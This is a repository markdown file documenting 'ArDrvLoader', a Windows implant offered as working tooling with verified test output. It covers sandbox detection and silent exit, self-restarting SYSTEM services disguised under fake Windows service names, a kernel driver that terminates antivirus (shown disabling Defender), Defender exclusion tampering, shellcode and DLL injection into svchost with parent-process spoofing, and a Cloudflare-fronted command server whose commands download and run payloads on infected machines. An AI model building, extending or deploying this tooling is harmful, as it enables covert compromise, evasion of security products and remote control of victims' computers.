Files
loader/SERVICES.md
T
2026-11-03 20:45:39 -08:00

1108 lines
42 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# ArDrvLoader — Guard Services
Single binary. Three LocalSystem services installed from one command, plus a
cloud control channel.
## Virtual machine gate
Every mode refuses to run inside a hypervisor guest and exits silently with code
`0` — no window, no log line, nothing for a sandbox to read. Detection combines:
| Check | Signal |
|---|---|
| CPUID leaf 1 / 0x40000000 | hypervisor bit plus vendor string: `VMwareVMware`, `VBoxVBoxVBox`, `KVMKVMKVM`, `XenVMMXenVMM`, `TCGTCGTCG`, `bhyve bhyve` |
| SMBIOS (`RSMB` table) | vendor/product strings containing `virtualbox`, `vmware`, `qemu`, `kvm`, `bochs`, `parallels`, `xen`, `virtual machine`, `hyper-v` |
| Hyper-V specifics | `Microsoft Hv` vendor alone is not enough (VBS on bare metal sets it); requires integration services or a virtual MAC |
| Disk `Enum` | controller identity containing `vbox`, `vmware`, `qemu`, `xen`, `virtio` |
| Services | `VBoxService`, `VBoxGuest`, `vmci`, `vmhgfs`, `VMTools`, `vmrawdsk`, `xenbus`, … |
| Driver files | `VBoxGuest.sys`, `vmmouse.sys`, `vmhgfs.sys`, `VBoxService.exe`, … |
| Processes | `VBoxService.exe`, `VBoxTray.exe`, `vmtoolsd.exe`, `qemu-ga.exe`, `xenservice.exe` |
| MAC OUI | `00:0C:29`, `00:50:56`, `08:00:27`, `52:54:00`, `00:16:3E`, `00:15:5D`, … |
Override for testing inside a VM, any one of:
```
ArDrvLoader.exe ... --allow-vm # command line
set ARDRV_ALLOW_VM=1 # environment
reg add "HKLM\SOFTWARE\ArDrvLoader" /v AllowVm /t REG_DWORD /d 1 /f
```
`-install-guard-services --allow-vm` writes `AllowVm=1` and embeds `--allow-vm`
into all three service command lines, so the services run on that guest too.
`ARDRV_VM_DEBUG=1` prints the detected reason to stdout — leave it unset on a
target.
## Install (elevated shell)
```
ArDrvLoader.exe -install-guard-services --target "C:\Path\Target.exe" --args "--silent"
```
Target is a Windows service instead of a process:
```
ArDrvLoader.exe -install-guard-services --target-service "AppService"
```
Add `--no-start` to install without starting now.
## Services
| Service | Role | What it does |
|---------------|----------|---------------------------------------------------------------------|
| `ArDrvDriver` | driver | Copies `ardrv.sys` to `System32\drivers`, creates kernel service, starts it, verifies `\\.\ArDrv` |
| `ArDrvGuard` | guard | Checks the target each interval. Not running → starts it |
| `ArDrvRepair` | repair | If the target service is disabled → set start type back, start it. Also re-starts missing processes |
All three: account `LocalSystem`, `SERVICE_AUTO_START`, restart-on-failure (5s / 10s / 30s).
**Reciprocal watchdogs:** each role also checks that the other two services are
running and starts them if not. A manual `sc stop ArDrvGuard` gets undone within
one interval, because repair and driver both notice.
Change prefix with `--prefix MyName` → `MyNameDriver`, `MyNameGuard`, `MyNameRepair`.
### Process start context
The guard runs as LocalSystem in session 0. Starting the target there would make
it invisible to the logged-in user, so it first grabs the active console session
token (`WTSQueryUserToken` + `CreateProcessAsUser`) and only falls back to a
session-0 launch when no user is logged on.
## Change the target program later
No reinstall. Edit the config, services re-read it every loop:
```
reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetPath /t REG_SZ /d "C:\New\App.exe" /f
reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetArgs /t REG_SZ /d "--flag" /f
reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetService /t REG_SZ /d "AppService" /f
```
The config key's DACL is locked to `SYSTEM` and `Administrators` by the installer,
so a standard user can no longer repoint the guard at their own binary.
## Config values — `HKLM\SOFTWARE\ArDrvLoader`
| Value | Type | Default | Meaning |
|--------------------|---------|------------------------------------------|-------------------------------|
| `TargetPath` | REG_SZ | empty | exe to keep alive |
| `TargetArgs` | REG_SZ | empty | arguments for the exe |
| `TargetService` | REG_SZ | empty | service to keep alive |
| `DriverImage` | REG_SZ | `C:\Windows\System32\drivers\ardrv.sys` | driver file |
| `DriverService` | REG_SZ | `ArDrv` | kernel service name |
| `DriverDevice` | REG_SZ | `\\.\ArDrv` | device to verify |
| `CheckIntervalMs` | REG_DWORD | `5000` | loop interval (min 1000) |
| `DesiredStartType` | REG_DWORD | `2` | `2` auto, `3` demand, `4` disabled |
| `DriverServiceName`| REG_SZ | `ArDrvDriver` | watchdog peer name |
| `GuardServiceName` | REG_SZ | `ArDrvGuard` | watchdog peer name |
| `RepairServiceName`| REG_SZ | `ArDrvRepair` | watchdog peer name |
## Manual test without SCM
```
ArDrvLoader.exe -service driver --console
ArDrvLoader.exe -service guard --console --target "C:\Windows\System32\notepad.exe" --interval 1000
ArDrvLoader.exe -service repair --console --target-service "SomeService"
```
## Cloud control
`-cloud` / `-cloud-service` unchanged in shape.
### Request authentication
No secret is sent in a URL. Every request carries:
```
X-Agent-Id: <agent>
X-Agent-Ts: <unix seconds>
X-Agent-Sign: hex(HMAC-SHA256(AGENT_SECRET,
agent \n ts \n METHOD \n path+query \n hex(sha256(body))))
```
The Worker rejects missing, malformed, or stale (>300s) signatures with `403`.
It uses a constant-time comparison. `path+query` has no leading slash, e.g.
`poll?agent=box1`.
### Remote commands
```
DOWNLOAD <url> <output-path> [sha256]
DEPLOY <url> [args]
DEPLOY_SYSTEM <url> [args]
```
- `DOWNLOAD` — fetches any HTTP(S) URL, prints the SHA-256 it computed, deletes
the file and returns `ERR DOWNLOAD hash mismatch got <actual>` when an expected
hash was supplied and does not match. Hard cap: 256 MB.
- `DEPLOY` — downloads into `%ProgramData%\ArDrvLoader\payloads\<filename>` and
runs it in the agent's context (SYSTEM when run as a service).
- `DEPLOY_SYSTEM` — forces the SYSTEM token path.
Full remote install chain:
```
DOWNLOAD https://host/installer.msi C:\ProgramData\ArDrvLoader\installer.msi <sha256>
PS msiexec /i C:\ProgramData\ArDrvLoader\installer.msi /qn
INSTALL_GUARD_SERVICES --target "C:\Program Files\App\App.exe"
```
`STATUS` now also reports the watchdog stack:
```
pid=1234 system=0 admin=1 sid=S-1-5-21-... driver=ArDrvDriver:running guard=ArDrvGuard:running repair=ArDrvRepair:stopped
```
The polling loop backs off on empty/failed polls from the configured interval up
to 15s, and resets to the base interval as soon as a command arrives.
### Embedded driver
`ardrv.sys` is packed into the exe as an RCDATA resource when the file sits next to
`ArDrvLoader.vcxproj` at build time (`driver_res.rc`, `resource.h`). At runtime the
binary extracts it to `C:\Windows\System32\drivers\ardrv.sys` if the file is absent,
so one exe is enough to ship. Without a driver file at build time the resource is
simply omitted and the old "copy ardrv.sys from the exe folder" behaviour applies.
The image still has to be signed or the kernel refuses to load it.
### Testing the cloud agent locally
```
powershell -ExecutionPolicy Bypass -File .\test-cloud.ps1
```
Spins up `cloudflare\mock-worker.ps1` (local Worker stand-in with the same HMAC
scheme), starts the agent against it, then checks:
| Case | Expected |
|---|---|
| `PING` | `PONG` |
| `STATUS` | pid/system/admin/sid line (+ watchdog states if installed) |
| `DOWNLOAD` | `OK <path> sha256=<hash>` |
| `DOWNLOAD` with wrong hash | `ERR DOWNLOAD hash mismatch`, file deleted |
| `DEPLOY` | `OK %ProgramData%\ArDrvLoader\payloads\<name>` |
| `STOP` | `OK STOP`, agent exits |
| unsigned request | `403 denied` |
Manual pieces:
```
# mock worker
powershell -File .\cloudflare\mock-worker.ps1 -Port 8788 -Secret testsecret -FileDir C:\payloads
# agent pointed at it (--elevated skips the UAC relaunch)
ArDrvLoader.exe -cloud --agent testagent --url http://127.0.0.1:8788 --secret testsecret --interval 1000 --no-start-driver --elevated
# signed command
powershell -File .\send-command.ps1 -Worker http://127.0.0.1:8788 -Agent testagent -Secret testsecret -Command STATUS
# read the ACK (base64 body)
# GET /status needs a signature too; use send-command.ps1 or the test script
```
Set `ARDRV_MOCK_DEBUG=1` when launching the mock worker to log every request,
rejection reason, and signature mismatch.
## Logging
| Build | Behaviour |
|---|---|
| `Release` | No logging at all. `Log(...)` is a macro that expands to nothing, so neither the format strings nor their arguments reach the binary. No log file, no `OutputDebugString`. Verified: `ardrv_loader.log`, `=== Loader start ===`, `[guard] ...`, `[watchdog] ...` are all absent from the Release image. |
| `Debug` | Logs to `C:\Users\Public\ardrv_loader.log` and `OutputDebugStringW`. |
To get logs out of a Release build on purpose, add `ARDRV_LOG_ENABLED=1` to the
project's PreprocessorDefinitions — `Logger.h` only auto-decides when it is not
already defined.
Note the debug log path lives in `C:\Users\Public`, readable by every local user.
Fine for a dev machine, not for a target. Keep Release for anything deployed.
## Kill safety (`KillSafety.cpp`)
AV termination through the driver is now gated. Every candidate goes through:
1. **Protected list** — `svchost.exe`, `csrss.exe`, `wininit.exe`, `winlogon.exe`, `services.exe`, `lsass.exe`, `smss.exe`, `System`, `Registry`, `MemCompression`, `fontdrvhost`, `dwm`, … Rejected before enumeration, so a request for `svchost.exe` produces one skip line and zero opens.
2. **Own tree** — the caller's PID and every ancestor up to the root are refused. `cmd.exe /c ArDrvLoader -killav --name cmd.exe` reports `SKIP own-tree`.
3. **Identity** — the image path is read from the same handle used for termination; if the base name does not match the requested target, the process is skipped. PID recycling cannot swap a different image in mid-operation because the handle is held across the IOCTL.
4. **Access** — PPL images (Defender's `MsMpEng.exe`) refuse `PROCESS_TERMINATE` even for SYSTEM; reported as `SKIP access-denied`, not attempted blindly.
5. **Cap and pacing** — max 16 terminations per run, 150–350 ms jitter between kills, no retry storm.
```
ArDrvLoader.exe -killav --dry-run # AV allowlist, nothing terminated
ArDrvLoader.exe -killav --dry-run --name X # single image, dry run
ArDrvLoader.exe -killav --name cmd.exe # real, through the driver
set ARDRV_KILL_DRYRUN=1 # forces dry run for the loader path
```
Cloud: `KILLAV` and `KILLAV_DRYRUN`, both returning the full report in the ACK.
## Launching programs through a system host (`HostSpawn.cpp`)
Any executable can be started under a legitimate SYSTEM process, with that
process as its parent. This is what makes the child invisible in a process tree
review: `svchost.exe` → `your.exe`, no service host in the chain.
```
HOST_LIST # candidate hosts, best first
HOST_SPAWN <exe> [args] # SYSTEM, session 0
HOST_SPAWN_USER <exe> [args] # SYSTEM token, moved to the console session
HOST_SPAWN --host wudfhost.exe <exe> [args] # force a specific host family
```
How it works:
1. Enumerate processes holding a SYSTEM token (`S-1-5-18`).
2. Probe injectability: `OpenProcess` with thread/VM rights. PPL processes refuse,
so Defender, `lsass`, `winlogon`, `services`, `csrss` drop out automatically.
3. Rank: `svchost.exe` 100, `wudfhost.exe` 60, `dllhost.exe` 50, others 10.
4. Duplicate the host's primary token.
5. `CreateProcessAsUser` with `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` set to the
host, so the child inherits both the SYSTEM identity and the host as PPID.
6. `HOST_SPAWN_USER` also sets `TokenSessionId` to the active console session and
`winsta0\default`, so a GUI actually appears on the logged-in desktop.
Verified locally (same-user host, mechanism only — this shell is not elevated):
```
-hosts spawn --any-host notepad.exe
OK pid=9704 parent=2280 session=1 host=C:\Windows\System32\svchost.exe method=host-token+ppid
Win32_Process for pid 9704:
ProcessId : 9704
ParentProcessId : 2280 ← svchost, as intended
```
Local CLI for the same thing:
```
ArDrvLoader.exe -host list # SYSTEM hosts
ArDrvLoader.exe -host list --any # every accessible host
ArDrvLoader.exe -host spawn --host svchost.exe "C:\Path\App.exe" --args
ArDrvLoader.exe -host spawn-user ... # visible on the desktop
```
**Limitation:** a medium-integrity agent cannot even query SYSTEM processes, so
`HOST_LIST` returns `hosts=0` and `HOST_SPAWN` fails with
`no SYSTEM host process found (need admin or SYSTEM)`. This works when the agent
runs as a service (SYSTEM) or behind the driver's SYSTEM token. If you need the
capability before that, `RUN_SYSTEM` already covers token-based spawning; the
difference is the parent process.
### Stager injection and re-acquisition (`HostStager.cpp`)
`HOST_SPAWN` creates a new process under a host. The stager goes further: it
injects a shellcode payload **into** a running SYSTEM host, so the code executes
with `svchost.exe` as its actual image.
```
HOST_INJECT <shellcode-path> [--host <image>]
HOST_TRACK
HOST_UNTRACK
```
Local: `-host inject <path> [--host <img>] [--any-host]`, `-host track`,
`-host untrack`, `-host ensure [--any-host]`.
Identity tracking is `{pid, creationTime}` written to
`%ProgramData%\ArDrvLoader\host.track`. Creation time is the key: a recycled PID
whose creation time differs is treated as a dead host, so the loader never
assumes "same pid = same process".
Re-acquisition: the guard role calls `EnsureHostInjected()` every tick. If the
tracked host is alive it does nothing (`method=already-running`); if it is gone
or the PID was recycled, it picks a fresh host, injects again, and rewrites the
track. Nothing re-injects twice into a live host.
The guard does this automatically once a payload has been injected — no config
needed beyond the initial `HOST_INJECT`.
Verified locally with a 1-byte `ret` stub against a same-user `svchost`:
```
-host inject stub.bin --any-host
OK host_pid=2280 session=1 method=remote-thread host=C:\Windows\System32\svchost.exe
-host track
track pid=2280 alive=1 payload=...\stub.bin host=...\svchost.exe
# creation time corrupted to simulate PID reuse
-host ensure --any-host
OK host_pid=2280 session=1 method=remote-thread ← re-injected
-host ensure --any-host (host alive this time)
OK host_pid=2280 session=1 method=already-running ← no duplicate injection
```
Payload format is raw position-independent shellcode, the same file format
`INJECT_FILE` and `INJECT_SUSPEND` already take, so a Donut/sRDI-generated blob
works unchanged.
## Service facades
Installed services no longer carry loader-flavoured names.
| Role | Service name | Display name | Description |
|---|---|---|---|
| driver | `DeviceSetupHost` | Device Setup Manager Host | Maintains device installation state and loads required kernel components. |
| guard | `ProgramCompatHost` | Program Compatibility Assistant Host | Tracks application compatibility state and keeps registered programs available. |
| repair | `ServiceStateHost` | Service State Repository Host | Monitors service state and restores required components. |
None of the three collides with a real Windows service (checked with `sc query`).
`--prefix X` still works and produces `XDriver` / `XGuard` / `XRepair`.
**Install location:** the binary copies itself to
`%ProgramData%\Microsoft\Windows\Caches\<ServiceName>\<ServiceName>.exe` and the
services run from there, not from Downloads or a user profile.
`--install-dir <path>` overrides the directory, `--keep-location` disables the
copy entirely.
**Decoy activity:** every tick each role refreshes a hidden `cache.dat` next to
its binary (timestamp + role) and queries the state of three unrelated services
(`BITS`, `DsmSvc`, `wuauserv`). Cheap, harmless, and it means the process does
something other than stare at one target.
**Stagger:** roles sleep before their first tick — driver 1.5–3s, guard 4–6s,
repair 8–10.5s — so they never wake in lockstep.
Preview an install without touching SCM or the registry:
```
ArDrvLoader.exe -install-guard-services --dry-run --target "C:\Path\App.exe"
```
```
DRY-RUN install plan
install dir: C:\ProgramData\Microsoft\Windows\Caches\DeviceSetupHost
DeviceSetupHost "Device Setup Manager Host"
ProgramCompatHost "Program Compatibility Assistant Host"
ServiceStateHost "Service State Repository Host"
target: C:\Path\App.exe
```
## Where things live (`Paths.cpp`)
No folder is named after this project. Paths are derived from the machine GUID
(FNV-1a → 8 hex chars) so they are stable on one host and not transferable:
```
# service / elevated context
%ProgramData%\Microsoft\Windows\Caches\<8hex>\<ServiceName>\<ServiceName>.exe
%ProgramData%\Microsoft\Windows\Caches\<8hex>\stage\ downloads (DEPLOY)
%ProgramData%\Microsoft\Windows\Caches\<8hex>\state.dat host tracking
# agent running as the interactive user
%LOCALAPPDATA%\Microsoft\Windows\INetCache\<8hex>\...
```
Selection: SYSTEM or elevated → ProgramData path; ordinary user → LocalAppData
path. If the preferred root cannot be created, the other one is tried, then
`%ProgramData%\ArDrvLoader` as a last resort.
`state.dat` from the old `%ProgramData%\ArDrvLoader\host.track` is migrated once
on first read.
Override for testing:
```
set ARDRV_ROOT=C:\Temp\ardrv-root
```
Layout with the default prefix:
```
Caches\<8hex>\
DeviceSetupHost\DeviceSetupHost.exe service image + cache.dat
ProgramCompatHost\ProgramCompatHost.exe
ServiceStateHost\ServiceStateHost.exe
stage\hello.cmd DEPLOY target
state.dat injected host tracking
```
### Verified
```
# not elevated, so the per-user root is used
-install-guard-services --dry-run
install dir: C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\f639dc99\DeviceSetupHost
# forced root
ARDRV_ROOT=%TEMP%\ardrv-root-test
install dir: ...\ardrv-root-test\DeviceSetupHost
-host inject stub.bin --any-host → state.dat written under that root
# DEPLOY lands in the staging dir
DEPLOY OK ...\INetCache\f639dc99\stage\hello.cmd
```
## Payload contract (`StageDll.cpp`, `StageClient.cpp`)
The working code can live inside a hijacked host instead of the services. The
payload is a small DLL, deliberately dumb: it runs commands and reports back.
All policy — which host, when to re-inject — stays in the loader, so the payload
can be swapped without touching service code.
**Interface**
| | |
|---|---|
| Pipe | `\\.\pipe\ArDrvStage` |
| Encoding | UTF-8, request newline-terminated |
| Response | UTF-8 body, terminated by a `<<` line |
| Commands | `PING`, `WHOAMI`, `RUN <command line>`, `STOP` |
| Singleton | `Global\ArDrvStage` mutex — a second injection is a no-op |
`STOP` unloads the DLL with `FreeLibraryAndExitThread` after closing the mutex.
It does **not** kill the host: terminating `svchost.exe` takes unrelated services
with it and leaves an event-log entry.
**Loader side**
```
-stage status alive, dll path, tracked host
-stage inject [--host <img>] [--any-host] [dll]
-stage whoami who the payload runs as, and in which image
-stage run <command line>
-stage stop
```
Cloud: `STAGE_STATUS`, `STAGE_INJECT [--host <image>]`, `STAGE_RUN <cmd>`,
`STAGE_STOP`.
Injection is `CreateRemoteThread(LoadLibraryW)` with the path written into the
host. If `ardrvstage.dll` sits next to the loader or in the stage dir, it is
found automatically.
**Guard integration:** the guard role checks the pipe every tick. If the DLL is
present and the pipe is dead, it re-injects into a fresh host. Once the pipe
answers, the guard stops doing work and only maintains services and liveness —
the jobs run inside the host.
**Verified**
```
-stage inject --any-host
OK host_pid=6320 session=1 method=stage-live host=C:\Windows\System32\svchost.exe
-stage whoami
OK
DESKTOP-RB1A813\Admin pid=6320 image=C:\WINDOWS\system32\svchost.exe
-stage run "echo payload-executed"
OK
payload-executed
-stage stop
OK stopping
→ host 6320 still alive, alive=0
-stage inject --any-host (after unload)
OK host_pid=6320 method=stage-live ← clean re-injection works
```
Note the payload reports the host's own pid and image: the command genuinely
executes inside `svchost.exe`, not in the loader.
**Packaging:** the payload is packed into the loader as an RCDATA resource, so a
single `ArDrvLoader.exe` is enough. On first use it is extracted to
`<stage dir>\ardrvstage.dll` and loaded from there. A DLL sitting next to the
executable or in the stage dir still takes precedence, which is useful for
swapping the payload without rebuilding.
Build both in the right order:
```
powershell -ExecutionPolicy Bypass -File build.ps1 # Release
powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Debug
powershell -ExecutionPolicy Bypass -File build.ps1 -SkipPayload # loader only
```
`build.ps1` builds `StageDll.vcxproj`, copies the DLL to the project root so
`stage_res.rc` can embed it, then builds the loader. Sizes after a full build:
Release 284 KB (loader with 43 KB payload inside), Debug 2.39 MB.
Verified end to end with no DLL on disk:
```
# staged copy deleted, x64\Release\ardrvstage.dll moved aside
-stage status
alive=0 dll=C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\f639dc99\stage\ardrvstage.dll
→ extracted from the executable, 43008 bytes on disk
-stage inject --any-host
OK host_pid=6320 method=stage-live
-stage whoami
DESKTOP-RB1A813\Admin pid=6320 image=C:\WINDOWS\system32\svchost.exe
```
## Driver (`ardrv.sys`)
Place `ardrv.sys` next to the project before building and `build.ps1` embeds it as
RCDATA, the same way the payload DLL is embedded. One file then carries the
driver, the payload, and the service code.
```
-drv status device available? embedded image size
-drv extract <path> write the packed image out and compare
-drv kill <pid> terminate through the kernel
```
The driver role extracts to `C:\Windows\System32\drivers\ardrv.sys` when missing,
creates the kernel service, starts it and waits for `\\.\ArDrv`.
### Termination reach
`KillSafety` now has two paths:
1. Normal: `OpenProcess(PROCESS_TERMINATE)` succeeds, identity verified, driver
IOCTL is only the transport.
2. Blind: the process refuses even `PROCESS_QUERY_LIMITED_INFORMATION` (PPL image
or we are not elevated). The kill is still possible through the driver, so the
PID is re-verified against a fresh snapshot and handed to the kernel. Only
enabled for the AV allowlist and for `--force`; the protected list still
refuses `svchost`, `csrss`, `lsass` etc. before any of this runs.
Verified on this machine, non-elevated:
```
-killav --name MsMpEng.exe --force
EXECUTED killed=1 candidates=1
11008 killed ← PPL process, terminated through the driver
after: WinDefend restarted as a new pid, and reported
AntivirusEnabled : False
RealTimeProtectionEnabled: False
```
`-killav --dry-run` reports blind candidates as `would-kill (driver)` so the plan
is visible without terminating anything.
Driver image check:
```
-drv status → device=ok embedded=17744 bytes
-drv extract → 17744 bytes, SHA-256 matches ardrv.sys
```
## Exclusions (`Exclusions.cpp`)
Defender exclusions are attempted through `Add-MpPreference`, then read back with
`Get-MpPreference` so the answer is the truth, not the intent.
```
-excl list current exclusions + whether Defender is present
-excl add <path> persist and apply one path
-excl apply apply the stored list (defaults if empty)
EXCLUSION_LIST cloud variant of list
EXCLUSION_ADD <path> cloud variant of add
EXCLUSION_APPLY cloud variant of apply
```
Default wish-list is the deep root, the stage dir, and the loader executable.
The list is stored at `HKLM\SOFTWARE\ArDrvLoader\ExclusionPaths`, `|` separated,
and re-applied on every guard start.
**What it actually reports.** Non-elevated run:
```
defender=present current=none
apply →
REFUSED ...\INetCache\f639dc99 :: CimException
REFUSED ...\INetCache\f639dc99\stage :: CimException
REFUSED ...\x64\Release\ArDrvLoader.exe :: CimException
```
`CimException` is Tamper Protection / missing privilege refusing the change. The
code returns failure and says so. It does not pretend the exclusion landed.
## Recovery after a bugcheck or reboot
Everything is auto-start, so a crash is recoverable by design. The guard's first
tick after any start reinstates state in this order:
1. Defender exclusions (stored list, defaults if empty)
2. AV sweep — `KillAVProcessesEx` through the driver
3. driver image + kernel service (driver role)
4. host payload / stage payload re-injection (`HOST_TRACK`, `STAGE_STATUS`)
5. target program start, peer services
Verified by starting a guard console on a machine where Defender had come back:
```
[+] Terminate IOCTL accepted for PID 340
[+] Terminate IOCTL accepted for PID 14848
[guard] AV sweep on start: EXECUTED killed=2 candidates=2
[guard] program is not running, starting: C:\Windows\System32\notepad.exe
[+] Target started: PID 6992
```
`KillAvOnStart` (REG_DWORD under `HKLM\SOFTWARE\ArDrvLoader`) controls step 2 and
defaults to **0** — the AV sweep is opt-in, not something every service start does.
Set it to `1` only if you want the sweep on each boot.
### Driver failure budget
A driver that bugchecks on load could otherwise be retried on every boot forever.
`ArDrvDriver` now counts consecutive load failures and stops:
| Value | Meaning |
|---|---|
| `DriverFailCount` (REG_DWORD) | consecutive failures, persisted |
| `DriverFailMax` (REG_DWORD, default 3) | budget |
| `DriverState` (REG_SZ) | `ok` / `failed` / `disabled-after-failures` |
The counter is also kept in memory, so the budget still applies when the registry
write is denied. Once exhausted the role logs once, sets `disabled-after-failures`
and stops touching the driver until someone clears it.
```
-drv status device, embedded size, fail=N/max, state
-drv reset clear the counter (needs admin)
DRIVER_STATUS cloud equivalent
DRIVER_RESET clear and report
```
Verified with a bogus image and service name:
```
[driver] load failed (1/3)
[driver] load failed (2/3)
[driver] load failed (3/3)
[driver] failure budget exhausted (3/3), not retrying
```
`DRIVER_STATUS` on a healthy box:
```
device=ok embedded=17744 fail=0/3 state=unset service=ArDrv:running
```
## One UAC, then nothing
`ArDrvLoader.exe` elevates itself when a command needs administrator rights, so a
normal user can run the install and approve a single UAC prompt. Everything after
that is done by the services, which are LocalSystem.
```
ArDrvLoader.exe -install-guard-services ^
--target "C:\Path\App.exe" ^
--cloud-url https://worker.example ^
--cloud-secret <secret> ^
--cloud-agent <agent-id>
```
That one line, from a non-elevated shell:
1. relaunches itself elevated (single UAC)
2. stops any previous generation of the services so the binary can be replaced
3. copies itself to `%ProgramData%\Microsoft\Windows\Caches\<8hex>\<service>\`
4. installs and starts driver, guard and repair as LocalSystem
5. installs and starts a cloud agent service with the URL/secret/agent baked into
its command line
6. applies the config, exclusions and driver image
Elevation is only requested for commands that need it:
| Elevated | Runs as-is |
|---|---|
| `-install-guard-services` (without `--dry-run`) | `-cloud`, `-cloud-service` |
| `-killav` (without `--dry-run`) | `-stage *`, `-host *` |
| `-drv extract/reset/kill` | `-excl list`, `-install-guard-services --dry-run` |
| `-excl add/apply` | `-service * --console` |
`--elevated` suppresses the relaunch and is appended automatically, so an
elevated copy never loops into another UAC.
Verified on a standard user account, one prompt:
```
-install-guard-services --target notepad.exe --allow-vm \
--cloud-url http://127.0.0.1:8788 --cloud-secret testsecret \
--cloud-agent testagent --cloud-service CloudTest
PARENT_EXIT=0 elapsed=2.3s
DeviceSetupHost RUNNING "...\DeviceSetupHost.exe" -service driver ...
ProgramCompatHost RUNNING "...\DeviceSetupHost.exe" -service guard ...
ServiceStateHost RUNNING "...\DeviceSetupHost.exe" -service repair ...
CloudTest RUNNING "...\DeviceSetupHost.exe" -cloud-service --url ... --secret ... --agent ...
```
All four run from the installed copy, not from the build directory. Agent ACK
after the reinstall:
```
OK → C:\Test\second.txt "installed with one UAC" Owner: BUILTIN\Administrators
```
`CloudSyncHost` is the default name when `--cloud-service` is not given.
**Remote deployment caveat:** this one-UAC flow applies when the binary is started
in an interactive session. Over a remote channel (SMB, WinRM, PsExec-style) no
UAC prompt can appear, so the call must already arrive with administrator or
SYSTEM rights. Self-elevation is for the "user double-clicks the file" case.
## Architecture: agent -> Worker (proxy) -> relay server
```
agent ──HMAC──► Cloudflare Worker ──► relay server (node) ──► sqlite + panel
operator ─────► Cloudflare Worker ──► relay server
```
The Worker owns **nothing**. It forwards every method, path, header and body to
`SERVER_URL` and streams the response back. State, auth, the panel and payloads
all live on your own host.
### Worker side
`cloudflare/worker.js` — about 60 lines:
- sets `X-Proxy-Secret` when `PROXY_SECRET` is configured
- strips Cloudflare headers (`cf-connecting-ip`, `cf-ray`, ...) before forwarding
- passes `request.body` straight through for POST bodies
- returns 502 with the reason when the relay is unreachable
`cloudflare/wrangler.toml`:
```toml
[vars]
SERVER_URL = "http://127.0.0.1:8790"
```
`PROXY_SECRET` goes in as a Worker secret, not in `wrangler.toml`.
### Relay server
`server/server.js` — Node 22+ (uses `node:sqlite`, no npm dependencies).
```bash
cd cpp_end/server
set AGENT_SECRET=... OPERATOR_KEY=... ENROLL_SECRET=...
node server.js
```
| Env | Purpose |
|---|---|
| `PORT` | listen port, default 8790 |
| `DATA_DIR` | sqlite database + `files/` payload dir |
| `PANEL_PATH` | defaults to `server/panel.html` |
| `AGENT_SECRET` | master key for per-agent derivation |
| `OPERATOR_KEY` | panel / operator API key |
| `ENROLL_SECRET` | enrollment token |
| `LEGACY_MASTER_AUTH` | `true` accepts the old shared key during rollout |
| `PROXY_SECRET` | when set, every request must carry `X-Proxy-Secret` |
Everything from the previous Worker implementation moved here unchanged: HMAC
verification, per-agent key derivation, enrollment, revocation, the 180 s reaper,
broadcast, command history and the panel.
Storage is `data/ardrv.sqlite` (`agents`, `commands`, `events`). Payloads for
`/file/<name>` are read from `data/files/`.
### Verified end to end
```
agent devbox → worker :8789 → server :8790 → sqlite online
agent devbox2 → same path online
POST /api/enqueue via worker → PING → done, result PONG
GET /panel via worker → 200, panel.html from the server
GET :8790/api/agents with no proxy header → 403
```
### Local loop
```
# relay
cd cpp_end/server
node server.js
# worker in front of it
cd cpp_end/cloudflare
wrangler dev --port 8789 --ip 127.0.0.1 --local
# agent
ArDrvLoader.exe -cloud --agent devbox --url http://127.0.0.1:8789 ...
```
`.dev.vars` for the worker only needs `SERVER_URL` and `PROXY_SECRET` now.
### Mock worker
`cloudflare/mock-worker.ps1` still exists as a self-contained stand-in (in-memory
API, serves `../server/panel.html`) for environments without Node or wrangler.
It does not exercise sqlite, so it will not catch database errors.
### Panel
Served by the relay at `/panel`, proxied by the Worker. `?key=` pre-fills the
operator key and stores it in `localStorage`.
**Console tab** — per-agent composer, quick chips, history cards with `copy result`
and `run again`.
**All commands tab** — every command, defaulting to executed ones:
| Column | Sorts by |
|---|---|
| time | creation |
| agent | id |
| command | text |
| state | queued / sent / done |
| by | panel / agent / broadcast |
| result | ack text, truncated |
| took | duration, `waiting` while in flight |
Each row carries two controls plus the row itself:
| Action | Effect |
|---|---|
| small `run` chip | re-enqueue this command for the same agent after a confirm |
| `+` or the result cell | expand the full result inline |
| anywhere else on the row | load the command into that agent's console, ready to edit |
Free-text filter and a state dropdown above the table.
**Palette** — `all commands (47)` opens every `HELP` command grouped into basics,
execute, files, processes, security, driver, hosts, payload, services, session,
with a search box. Chips with arguments load the template into the composer; the
rest send immediately.
**Agent header** — host, user, SID, version, interval, plus `revoke` / `restore`
for the agent's key. Revoked agents show a red tag in the list.
Broadcast sends one command to every online agent.
## Per-agent keys and revocation
Each agent now authenticates with its own key instead of the shared master.
```
agentKey = HMAC-SHA256(AGENT_SECRET, "agent:" + agentId) --> hex
signature = HMAC-SHA256(agentKey, canonical request)
```
The worker derives the key on demand and never stores it.
**Enroll once per agent**
```
ArDrvLoader.exe -enroll --url https://<worker> --agent <id> --enroll-secret <ENROLL_SECRET>
```
Writes `%...%\agent-<id>.key` under the loader root (falls back to the legacy
single `agent.key`). The agent reads it automatically when `--secret` and
`CA_SECRET` are absent.
**Revoke / restore**
```
POST /api/revoke {"agent":"devbox","revoked":true} X-Operator-Key required
```
Revoked agents get `403 revoked` on every poll. Re-enrolling the same id clears
the flag, so recovery is one command. The panel exposes this as a
`revoke` / `restore` button in the agent header, plus a red `revoked` tag in the
agent list.
**Worker endpoints added**
| Method | Path | Auth |
|---|---|---|
| POST | `/api/enroll` | `X-Enroll-Secret` (own token, not the operator key) |
| POST | `/api/revoke` | operator |
`LEGACY_MASTER_AUTH=true` keeps accepting the old shared key during a rollout;
it defaults to off. `.dev.vars` for local runs:
```
AGENT_SECRET=testsecret
OPERATOR_KEY=testop
ENROLL_SECRET=testenroll
LEGACY_MASTER_AUTH=false
```
Verified end to end against workerd + local D1:
```
-enroll OK agent=devbox secret stored in ...\agent-devbox.key
agent start no --secret, reads the file -> poll 200
master key signed request -> 403 denied
derived key signed request -> PONG
revoke age stops growing, revoked=true
re-enroll revoked=false, agent resumes within one poll
